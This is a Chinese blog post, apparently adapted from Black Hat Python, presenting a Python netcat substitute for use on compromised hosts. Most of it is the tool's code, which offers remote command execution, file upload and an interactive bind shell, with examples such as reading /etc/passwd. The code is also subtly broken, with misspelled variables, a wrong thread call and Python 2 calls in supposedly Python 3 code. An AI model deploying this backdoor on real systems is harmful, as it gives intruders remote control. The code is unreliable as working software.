前言
眾所周知,netcat是網絡界的瑞士軍刀,它的主要作用是:提供連接其他終端的方法,可以上傳文件,反彈shell等等各種利於別人控制你電腦的操作。所以聰明的系統管理員會將它從系統中移除,這樣當別人滲透進入你的系統,也沒有現成的連接工具給他們用。
代碼實現
import sys
import socket
import getopt
import threading
import subprocess
#定義一些全局變量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("BHP Net Tool")
print()
print("Usage: bhpnet.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for incoming cennections")
print("-e --execute=file_to_run - execute the given file upon receiving a connection ")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destinction]")
print()
print()
print("Examples: ")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=C:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEFGHIJK' | ./bhpnet.py -t 192.168.0.1 -p 8888")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destincation
global target
if not len(sys.argv[1:]):
usage()
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen"
,"execute","tarhet", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destinction = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandle Option"
#判斷我們是在監聽還是僅僅從標准輸入發送數據
#listen為False,len(target)大於0,port > 0 三個條件同時成立,則證明:
#是從標准輸入讀取數據,即:從標准輸入讀取數據,發送到監聽端(服務端)。
#這里的標准輸入可以來自鍵盤輸入,亦可以來自文件重定向。
if not listen and len(target) and port > 0:
#從命令行(標准輸入)讀取數據
#這里將阻塞,所以在不想向標准輸入發送數據時:要發送CTRL-D
buffer = sys.stdin.read()
# 將標准輸入的數據發送到監聽端
client_sender(buffer)
#如果上面的if語句沒被執行,那么就說明這個程序是作為監聽端了。
#我們開始監聽並准備上傳文件,執行命令
#放置一個反彈shell
#具體操作取決於你用的命令行選項
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#連接到目標主機
client.connect((target, port))
if len(buffer):
client.send(buffer)
while(True):
#現在等待數據回傳
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response,)
#等待更多輸入
buffer = raw_input("")
buffer += "\n"
#發送出去
client.send(buffer)
except:
print("[*] Exception! Exiting")
client.close()
def server_loop():
global target
#如果沒有定義目標,則監控所有端口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while(True):
client_socket, addr = server.accept()
#分拆一個線程處理新的客戶端
client_thread = threading.Thread(target=client_handler, args = (client_socket,))
client.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Falied to execute command.\r\n"
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_destination):
#讀取所有的字符並寫入目標
# (目標是一個文件,文件名跟在-u后面,這個操作就是將客戶端傳過來的數據寫進文件里)
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#現在將接受到的數據file_buffer寫進文件里
try:
file_descriptor = open(upload_destinction, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#向另一端(即客戶端)發送確認報文,確認文件已成功接收
client_socket.send("Successful saved file to %s\r\n" % upload_destinction)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destinction)
#檢查命令執行
if len(execute):
output = run_command(execute)
client_socket.send(output)
#如果需要一個命令行shell,那么我們進入另一個循環
if command:
while True:
#跳出一個窗口
client_socket.send("<BHP: #> ")
#現在我們接受文件直至發現換行符(即當你輸入完命令后會按回車)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
#執行命令,並且將命令的輸出結果保存在response里
response = run_command(cmd_buffer)
# 返回相應數據
client_socket.send(response)
if __name__ == "__main__":
main()
注意,我這個代碼是python3的,如果想看python2的,看這位大神的博客
輸出
-
將bhpnet.py作為客戶端,連接百度:echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | ./bhpnet.py -t www.baidu.com -p 80
-
反彈一個shell(這里有-l參數的命令行是作為監聽端,即服務端。沒-l參數的作為客戶端)。監聽端命令:./bhpnet.py -p 5555 -c -l 客戶端命令:./bhpnet.py -t 127.0.0.1 -p 5555
-
上傳文件
小總結
或許經歷了前面TCP服務端與TCP客戶端分離的形式,你會分不清什么時候bhpnet.py作為服務端,什么時候作為客戶端。這里可以簡單認為:有-l參數的就是服務端。因為只有服務端會監聽端口。